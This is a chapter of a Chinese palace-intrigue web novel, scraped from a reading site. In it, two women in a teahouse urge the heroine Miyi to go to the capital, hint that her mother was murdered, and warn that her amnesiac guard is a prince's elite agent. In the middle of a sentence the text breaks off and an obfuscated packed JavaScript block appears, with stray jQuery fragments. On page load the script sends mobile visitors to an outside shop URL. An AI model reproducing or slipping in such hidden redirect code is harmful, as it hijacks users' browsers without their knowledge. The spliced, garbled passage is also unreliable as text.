文趣网 > 都市小说 > 笼中摘星 > 16. 第 16 章
    窗外蝉鸣声渐渐少了下去。

    微风拂来带着一丝寒意。

    院中合欢花瓣逐渐掉落,夹带着几片泛黄的叶子。

    丫鬟们收起夏装,在院外洗着秋衣,小厮们打扫着院中落叶,修剪低矮茂密的花丛。

    夏天就要过去了。

    弥衣在院中看账本。

    小昭急匆匆从外头进来,手里拿着一封拜帖。

    “小姐,冯小姐派人送来的,说是小姐一定要来,她有话要与小姐说。”

    弥衣接过拜帖,目光落在帖角那枚鸢尾花印上。

    翌日,弥衣带着小昭如约而至。

    城东茶楼二楼雅间,冯阮玉早已备好了茶点点心,她特意定下了视野最好的二楼包间临窗的位置。

    她今日穿了一身素净的月白色衣裙,淡妆素净,举手投足都是贵女典范。

    小昭被拦在门外,看守的丫鬟说是冯小姐特意吩咐,只要求弥衣一人进去。

    弥衣眼神暗示小昭不要担心,独自一人进了包间。

    “你来了。”冯阮玉见她进来,她指了指身边的位置,“坐吧,我不知道你爱吃什么爱喝什么,就点了这茶楼最有名的,不知道合不合你的口味。”

    冯阮玉给她倒了杯茶。

    弥衣落座,接过茶盏问道:“冯小姐要走了?”

    “明日启程回京。”冯阮玉端起茶盏轻轻饮了一口,目光落在窗外热闹的街景上,“也该回去了。”

    两人沉默片刻。

    冯阮玉忽的开口:“今日叫你来,是想问你一件事。”

    弥衣抬眸看她。

    “两月后要进行皇子妃选拔,这件事你知道吗?”

    弥衣摇了摇头。

    冯阮玉想到前阵围猎,崔昭雪赠她玉佩半路退场,丁家丁庭失去了腿,不难推断这不是巧合,极有可能是他们想设计弥衣,让她失去资格。

    冯阮玉说道:“你必须要去,弥衣。”

    弥衣疑惑:“我为何要去?”

    “据我所知,青州就只有两个名额,一位是知府三小姐,一位就是崔家嫡女,你的继母盘算得很好,没有写你的名字,只写了嫡女。我听说她最近在忙着给你介绍婚事,她是想找人顶了你的名额。”

    弥衣:“那又如何?我不想去京城。”

    “为什么不去呢?”冯阮玉说道,“青州有什么值得你留恋的呢?”

    “京城有什么好?”弥衣反问。

    冯阮玉怔住,转而轻笑一声,正要再说些什么,门外忽然传来一阵脚步声,紧接着是丫鬟的通传:“小姐,人到了。”

    冯阮玉说:“请她进来吧。”

    帘子掀开,掌柜谄媚着想要搀扶被林姨娘,身边丫鬟阻止,林姨娘挺着微微隆起的肚子走了进来。

    她今日穿了一身藕荷色衣裙,妆容精致。

    见到弥衣时,朝她微微颔首。

    弥衣一愣。

    林姨娘怎么会在这里?

    冯阮玉起身,拉开椅子,让林姨娘稳稳坐下,林姨娘在冯阮玉一旁落座。

    不一会儿,丫鬟端来一杯温水。

    “你可来晚了。”冯阮玉说,将距离她最近的点心推到林姨娘面前,“我记得你爱吃这个。”

    林姨娘擦了擦脑门上的薄汗:“来的也不算晚吧,今日有点事耽搁了,我的错。你不是说明日就回京城,我这不是紧赶慢赶的来了。”

    弥衣心中疑惑丛生。

    林姨娘是崔程的妾室,冯阮玉是京城尚书之女,这两人怎会相识?

    而且两人之间的语气亲昵,分明是旧识,交情不浅。

    冯阮玉似乎看出了弥衣的疑惑,解释道:“林黛与我也算手帕之交。”

    林姨娘是京城人士不假。

    她父亲曾是京城有名的富商,产业遍布全国,只是一步踏错,错信皇子承诺,私底下征兵屯粮被皇帝知晓,当即抄了家。

    林姨娘父亲被处以极刑,后服下一杯毒药死在狱中。

    十六岁以上男女处以绞刑,十六岁以下以及母女妻妾皆为奴籍,流放千里。

    林家主母为了保护这心尖上的女儿,听到风声之前就送到了崔程的身边,才不至于沦落罪奴。

    能在皇帝眼皮子底下保下林姨娘,应该也有冯家的手笔。

    两人关系匪浅。

    她竟没听说过。

    林姨娘见弥衣略有些拘谨,开口缓解气氛:“弥衣你不必拘谨,轻松一些。”

    冯阮玉慢悠悠地饮了一口茶:“林黛,这么多年未见,怎么一张口如老婆婆似的,姿态抬得那么高,她明明与你岁数也差不了多少,当长辈当惯了?”

    林姨娘不恼,笑道:“你惯会打趣我,我哪有摆什么长辈姿态,我巴不得和弥衣成为亲姐妹。”

    冯阮玉哼了一声,收起笑脸:“行了,今日又不是闲聊天来的,你想说什么赶紧说,我一会要回去收拾,哥哥那边催我催的急。”

    林黛顿了顿,轻叹了一口气。

    “弥衣,我此次让阮玉请你过来,是想和你做个交易。”林黛的手轻轻地抚摸着微隆的肚子,“我要崔家所有的产业,包括你手中的铺子。”

    弥衣一听,有些想笑:“我如何能给你?我自身难保,手中铺子有限,我父亲也不会听我的话。”

    林黛一字一句道:“很简单,只要我是崔家唯一的女主人就可以了。”

    弥衣意识到她不是在开玩笑。

    崔家女主人确实可以做到。

    崔程不善经商,大多产业分别交给林黛和丁氏。

    林黛掌管青州大多数铺子收益不错,是崔家主要的经济来源。

    丁氏主管府内,自己的嫁妆铺子收益勉强可以,加上早年弥衣母亲赏给她的几个小铺子,也算过的富裕。

    弥衣手中的几个铺子,是她母亲的嫁妆铺子。

    早年收益不好,被丁氏分回她手中,她托人雇人,换了不少掌柜账房,才渐渐盘活。

    崔程则自己坐享渔翁之利,每月只用去账房那取钱就可以了。

    但他手中唯一的产业是皇后娘娘赏给他的天福楼。

    京城最繁华的城中心客流量最大,所有权贵请客都会在这里。

    崔程当初举家搬到青州,招了个大掌柜,自己则每月吃分红,这是他最大的一笔收入,甚至比青州所有铺子收益还要高。

    林黛已经掌握着大部分铺子了,她还不知足?

    还是说人心不足蛇吞象,她是想当崔家主母?

    弥衣回道:“父亲已经非常宠爱你了。”

    林黛抬眸反问:“你前几日在这里与丁慧盈筹谋的事情,若办成了我还能有什么宠爱呢?”

    弥衣心头一震。

    她怎么知道的?

    冯阮玉说道:“这家茶楼,你与丁慧盈商谈,也被听个一清二楚。甚至前几日崔程与其私会场所,也经过这家茶楼的后门。不过你放心,这楼里的人都是签了死契的,一句话也飞不出这里。”

    弥衣环顾四周,丫鬟皆垂着头退避四舍。

    这些到底是冯阮玉的人,还是林黛的人?

    亦或者是她不知道的人。

    弥衣回道:“你既然知道了,我也就不瞒着了。我不会嫁到惠州贾家,这就是我的最佳办法。”

    “我没有要阻止你的意思,再说了,人总要为自己筹谋。我只是说,我想要崔家主母这个位置,就算丁慧盈嫁进来也是二嫁,

    妾室翻不起什么风浪,你莫要多想。”林黛急忙说道。

    眼见俩人要不欢而散,冯阮玉赶紧调和:“行了行了,林黛。”

    弥衣没来由的感觉一阵胸闷。

    她自小养在深闺,懂不了那些弯弯绕绕,只懂得养精蓄锐再给其迎头一击。

    她做小伏低久了,就不想再忍下去了。

    就算林黛说出去也好,不说也罢,她总要为了自己为了妹妹博这一回。

    弥衣心中翻涌万千,她算错了,这家酒楼老板竟然是林黛的,不然这计策也算是万无一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17728240|208904||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    失。

    冯阮玉见弥衣脸色有些差,对林黛说:“弥衣还没同意去京城,一切要从长计议。”

    林黛一听,也顾不上其他,索性一股脑将心中所想全盘而出:“为什么不去?我是回不去了,你不应该待在青州。”

    回应她的是一阵沉默。

    林黛深呼了一口气,她与冯阮玉对视一眼,得到了冯阮玉肯定的答案。

    “你母亲有可能不是难产死的。”

    弥衣怔住,她的唇瓣微僵,一股寒意从脊背升起。

    她心中骤然掀起风浪,袖中五指猛地攥紧,指甲无意识地掐进皮肉。

    她下意识地反驳林黛:“你在胡说什么,那些稳婆大夫,确诊了那么多次,一盆盆血水抬了出来,怎么就不是难产?”

    林黛:“你父亲醉酒同我说过一嘴,说梦魇时老梦见你母亲,又提了丁慧心一嘴,说是她心太狠,我猜,你母亲的死因应该与他们有关。”

    冯阮玉此刻搭腔:“不过醉酒说的话也不太能作数,弥衣你也不用太放在心上。”

    弥衣知道林黛善于攻心,想在她心中种下一个怀疑的种子。

    “你们两人搭台唱戏,只是为了让我去京城?有什么事,我去京城才能解决?”弥衣问。“我的婚事,我自己有办法,你们俩人的心意我心领了,若是没有其他的事我就先走了。”

    俩人为了劝她进京无所不用其极,目的到底是什么?

    她不想再想了。

    林黛自知不能太心急,连忙打圆场:“别生气,我也是一片好心,这件事我们以后再谈。”

    “不过,你身边那个贴身侍卫不能再留了。”

    弥衣:“为何?不是你说的,他可以留在我身边。”

    林黛摇头:“当初我是这么想的,但是现在不一样了。”

    林黛神情变得凝重:“以前我只知道他是二皇子的人,与阮玉聊了才知道他不是一般的人。”

    林黛从怀中拿出一枚木质令牌,

    她轻轻放在弥衣的面前。

    弥衣抬手将其握在手中。

    令牌上是鸢尾雕花。

    这应该是冯阮玉喜欢的花。

    她的衣裙,马车,甚至住所都有鸢尾花。

    玉牌背面是一个‘二’字。

    冯阮玉说道:“这是二皇子身边侍卫的通用令牌,见令牌如见二皇子本人。这个令牌是二皇子派到我身边的侍卫所有,二字是普通侍卫,行保护之令。一字是暗卫,多为二皇子行不可见人之事。言卿,他是二皇子的人,而且是顶尖暗卫。”

    弥衣被这些信息震惊到说不出话。

    她只知道言卿武功高强,没想到他还有另一重身份。

    她掩去心中错愕,说道:“他现在失忆了。”

    冯阮玉自嘲一笑:“他的脸,二皇子身边的人无人不知无人不晓,你能保证让他一辈子困在崔府,那便最好。但是,你知道吗,两月后,各皇子都会派人细查中选之人底细,你能保证来的人不会告诉二皇子他的一等暗卫,窝在崔府陪着你这个本该出现在京城人的身边,人心叵测,崔弥衣,你不能赌以后的事,我劝你早做决断。”

    “弥衣,就当是为了你自己的安危,你妹妹的安危。你可以选择不去京城,但是言卿他必须要离开了。”

    不一会,弥衣走出茶楼包间,小昭迎了上来,见她神色凝重,也不敢多问,只是默默地跟在她身后。

    林黛与冯阮玉两人倚在窗边,看着崔家马车越行越远。

    林黛望着冯阮玉的侧脸,忧心忡忡地问:“你说她会听进去你的话吗?”

    冯阮玉吃着点心,觉得甜腻得心慌,随手扔回盘子中:“听不听都是她自己的造化。”

    “青州不适合她,太危险了。”林黛转过头看着马车消失在街尽头,喃喃道,“不过这玉佩可真是邪门啊,谁拿到就要倒霉,死的死伤的伤,谁能想到这是皇家之物。”

    “谁说不是呢?”冯阮玉说,“空有尊贵头衔,内里不值一文。”